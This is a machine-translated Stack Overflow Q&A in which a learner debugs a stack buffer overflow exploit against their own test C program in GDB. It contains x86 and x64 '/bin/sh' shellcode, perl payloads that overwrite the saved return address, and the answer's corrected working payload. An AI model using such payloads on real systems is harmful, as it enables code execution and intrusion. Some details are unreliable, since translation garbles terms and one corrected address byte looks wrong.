c - 我正在尝试利用缓冲区溢出,我做错了什么吗?

标签 c gdb buffer-overflow exploit

我正在尝试使用本教程执行缓冲区溢出攻击 我帖子中的所有内容都将直接在 GDB 中执行。

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

这是我想利用缓冲区溢出的代码。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int     main(int argc, char *argv[])
{
  char  buff[256];

  if (argc == 1)
    {
      printf("Usage: %s input\n", argv[0]);
      exit (0);
    }
  strcpy(buff, argv[1]);
  printf("%s\n", buff);
  return (1);
}

我目前正在使用 Linux mint 18,我有一个 64 位处理器。 鉴于我有一个 64 位架构。每个地址都占 8 个字节。 现在让我们想象一下我当前的 stakframe。


|浅黄色[256] |


|限制性商业惯例 |


|保存 RIP |


我的目标是用我的“nop sled”的地址覆盖“SAVE RIP”。 鉴于我在 64 位架构上。我将用 256 + 8 个字符填充变量 buff。 8 字符将用于覆盖 RBP 指针。我将使用 perl 覆盖。

perl -e 'print "\x90"x 264'

然后使用我遵循的教程中提供的 shellcode

perl -e 'print "\x90"x (264 - 26) 。 “\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

我减去 26,因为 shellcode 的长度是 26。

现在。我将使用 GDB 找出我的 nop sled 的地址。

   0x00000000004005f6 <+0>: push   rbp
   0x00000000004005f7 <+1>: mov    rbp,rsp
   0x00000000004005fa <+4>: sub    rsp,0x110
   0x0000000000400601 <+11>:    mov    DWORD PTR [rbp-0x104],edi
   0x0000000000400607 <+17>:    mov    QWORD PTR [rbp-0x110],rsi
   0x000000000040060e <+24>:    cmp    DWORD PTR [rbp-0x104],0x1
   0x0000000000400615 <+31>:    jne    0x40063d <main+71>
   0x0000000000400617 <+33>:    mov    rax,QWORD PTR [rbp-0x110]
   0x000000000040061e <+40>:    mov    rax,QWORD PTR [rax]
   0x0000000000400621 <+43>:    mov    rsi,rax
   0x0000000000400624 <+46>:    mov    edi,0x400704
   0x0000000000400629 <+51>:    mov    eax,0x0
   0x000000000040062e <+56>:    call   0x4004c0 <printf@plt>
   0x0000000000400633 <+61>:    mov    edi,0x0
   0x0000000000400638 <+66>:    call   0x4004e0 <exit@plt>
   0x000000000040063d <+71>:    mov    rax,QWORD PTR [rbp-0x110]
   0x0000000000400644 <+78>:    add    rax,0x8
   0x0000000000400648 <+82>:    mov    rdx,QWORD PTR [rax]
   0x000000000040064b <+85>:    lea    rax,[rbp-0x100]
   0x0000000000400652 <+92>:    mov    rsi,rdx
   0x0000000000400655 <+95>:    mov    rdi,rax
   0x0000000000400658 <+98>:    call   0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>:   lea    rax,[rbp-0x100]
   0x0000000000400664 <+110>:   mov    rdi,rax
   0x0000000000400667 <+113>:   call   0x4004b0 <puts@plt>
   0x000000000040066c <+118>:   mov    eax,0x1
   0x0000000000400671 <+123>:   leave  
   0x0000000000400672 <+124>:   ret    

我在 strcpy 函数之后添加了一个断点。我正在尝试使用

找出 sled nop 的开始
x/x $rsp

给我看

0x7fffffffde20: 0xffffe018

那我要做

x/s 0x7fffffffde20

然后按“Enter”直到找到我要查找的内容。

现在,第二个问题来了。我发现两个不同的地址似乎包含 nop sled

0x7fffffffde30: '\220' <repeats 200 times>...
(gdb) 
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"

0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb) 
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"

不知道该选哪个,我决定两个都试试。但是,假设我使用的是第一个,更准确地说是 0x7fffffffde30。 (不要忘记带字节序的车)。

我将尝试使用以下命令行执行我的代码:

(gdb) run  `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`

然后我验证 RIP 是否被所需地址正确覆盖。

(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
 rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
 source language c.
 Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
 Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
 Saved registers:
  rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb) 

并且我们可以看到保存的RIP已经成功的被期望的地址覆盖了。 现在的主要问题是当我在没有打开任何 shell 的情况下按“继续”我的程序段错误时。我完全按照教程中的解释进行操作,所以任何人都可以解释我:

-为什么当我在缓冲区中写入 263 字节时出现段错误?当我覆盖“保存 RIP”时,程序可能会出现段错误,RBP 是否也一样?

-我找到了两个不同的地址,其中包含我的 nop sled,我应该选择哪个?

-最后,根据您的说法,我做错了什么或者看起来不合逻辑吗?我不知道为什么我的 exploit 会起作用,而且在互联网上没有发现其他人和我有同样的问题。

谢谢

我正在用这种方式编译

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack

编辑:

谢谢你的评论。我按照你告诉我的做了,但它仍然是段错误。

你好@russtone。

谢谢你的回答,我按照你告诉我的做了,但它仍然是段错误。

`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68    0xde    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdc78: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00

===> 0x7fffffffdc80:    0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

0x7fffffffdc88: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdc90: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdc98: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdca0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdca8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcb0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcb8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcc0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcc8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcd0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcd8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdce0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdce8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcf0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcf8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd10: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd20: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd28: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd30: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd38: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd40: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd48: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd50: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd58: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd60: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd68: 0x90    0x90    0x90    0x48    0x31    0xff    0x57    0x57
0x7fffffffdd70: 0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62    0x69
0x7fffffffdd78: 0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef    0x08
0x7fffffffdd80: 0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f    0x05
0x7fffffffdd88: 0x90    0xdc    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

我使用这个地址时不会忘记字节顺序。

"0x7fffffffdc80"

哪个给我

"\x80\xdc\xff\xff\xff\x7f"

所以GDB中最后的命令是

(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`

然后

continue

显示

Continuing. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�WW^ZH�//bin/shH�WT_j;X�����

Program received signal SIGSEGV, Segmentation fault. 0x00007fffffffdd80 in ?? ()

谢谢

最佳答案

Why it segfault when I write 263 byte inside the buffer ? A program can segfault when I overwrite "save RIP", is it the same for RBP ?

在您的示例中,当程序试图访问不属于它的地址 0x30deffffff7f 处的内存时,就会发生段错误。你想用 0x7fffffffde30 而不是 0x30deffffff7f 覆盖 RIP,但你传递了错误的负载。因为你有 little-endian负载中的架构而不是:

... "\x7f\xff\xff\xff\xde\x30"

你需要通过:

... "\x30\xde\xff\xff\xff\x7e"

我也不确定你的 shellcode 地址是 0x7fffffffde30 因为 x/s $rsp 不是了解它的最佳方式。最好使用类似的东西:

(gdb) x/300bx $rsp
0x7fffffffd220: 0x18    0xd4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd228: 0xf6    0x77    0xde    0xf7    0x02    0x00    0x00    0x00
0x7fffffffd230: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd238: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd240: 0x90    0x90    0x90    0x90    0x48    0x31    0xff    0x57
0x7fffffffd248: 0x57    0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62
0x7fffffffd250: 0x69    0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef
0x7fffffffd258: 0x08    0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f
0x7fffffffd260: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd268: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd270: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd278: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd280: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd288: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd290: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd298: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd300: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd308: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd310: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd318: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd320: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd330: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd338: 0x40    0xd2    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd340: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd348: 0x18    0xd4    0xff    0xff

在上面的例子中,shelcode 是 "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" 和它的地址可以类似于 0x7fffffffd240

I found out two different address which contain my nop sled, which one have I to choose ?

您找到的第一个地址是缓冲区 char buff[256],第二个地址是 argv[1]。类 Unix 系统将 argv 放在堆栈上,因此在您的示例中选择哪个并不重要。但通常(对于任何操作系统)您需要使用 char buff[256] 的地址。

And Finally, according to you, did I do something wrong or which seem not logical ? I have no idea why my exploit does work and didn't find nobody else on internet which has the same problem like me.

我上面已经提到的第一件事是endianness .你有小端机器所以你需要传递 \x30\xde\xff\xff\xff\x7e 而不是 \x7f\xff\xff\xff\xde\x30.

第二件事是你的shellcode。您正在使用 x86 程序示例中的 shellcode,但您需要 x64 的 shellcode。你可以使用这样的东西:

SECTION .text
global _start
_start:
    xor rdi, rdi
    push rdi
    push rdi
    pop rsi
    pop rdx
    mov rdi, 0x68732f6e69622f2f ; hs/nib//
    shr rdi, 8 ; \x00hs/nib/
    push rdi
    push rsp
    pop rdi
    push 0x3b ; execve
    pop rax
    syscall

在字节码中将是:

"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

希望这对您有所帮助。祝你好运!

更新

好的,现在您覆盖了 rip,并且根据 gdb 的输出,您成功跳转到了正确的地址。

现在的问题是您的 shell 代码太接近缓冲区边界了。

这样你就得到了图片:

Stack layout

然后在 main 函数的末尾执行命令

leave
ret

你跳转到了 addr_1rsp = addr_2 + 8(在 leave 之后,即 mov rsp, rbp; pop rbp)。但是在 shell 代码的开头,您可以看到 2 个 push 指令在执行之后 $rsp = addr_2 + 8 - 16 = addr_2 - 8。但是 addr_2 - 8 是你的 shell 代码的最后 8 个字节!因此,您的 shell 代码会 self 覆盖,您会遇到段错误。

为避免这种情况,您可以将 shell 代码放在 buf 中间的某个位置:

(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'`

关于c - 我正在尝试利用缓冲区溢出,我做错了什么吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38416045/

相关文章:

实现我自己的malloc函数的C代码

c - 读取以零开头的 int 并将其存储到 C 中的数组中

linux - 如何从停止的程序中获取核心转储 (linux)

linux - GDB远程调试错误

ffmpeg - 在 FFmpeg/LibAV 中设置 RTSP/UDP 缓冲区大小

c -/vs.\in CMD 和 C 系统函数中可执行文件的相对路径

c - sprintf() 的问题

android - ndk-gdb 和 eclipse "No Source File named..."

c - 缓冲区溢出改变返回地址 C - 没有 main

c - 为什么应该使用 strncpy 而不是 strcpy?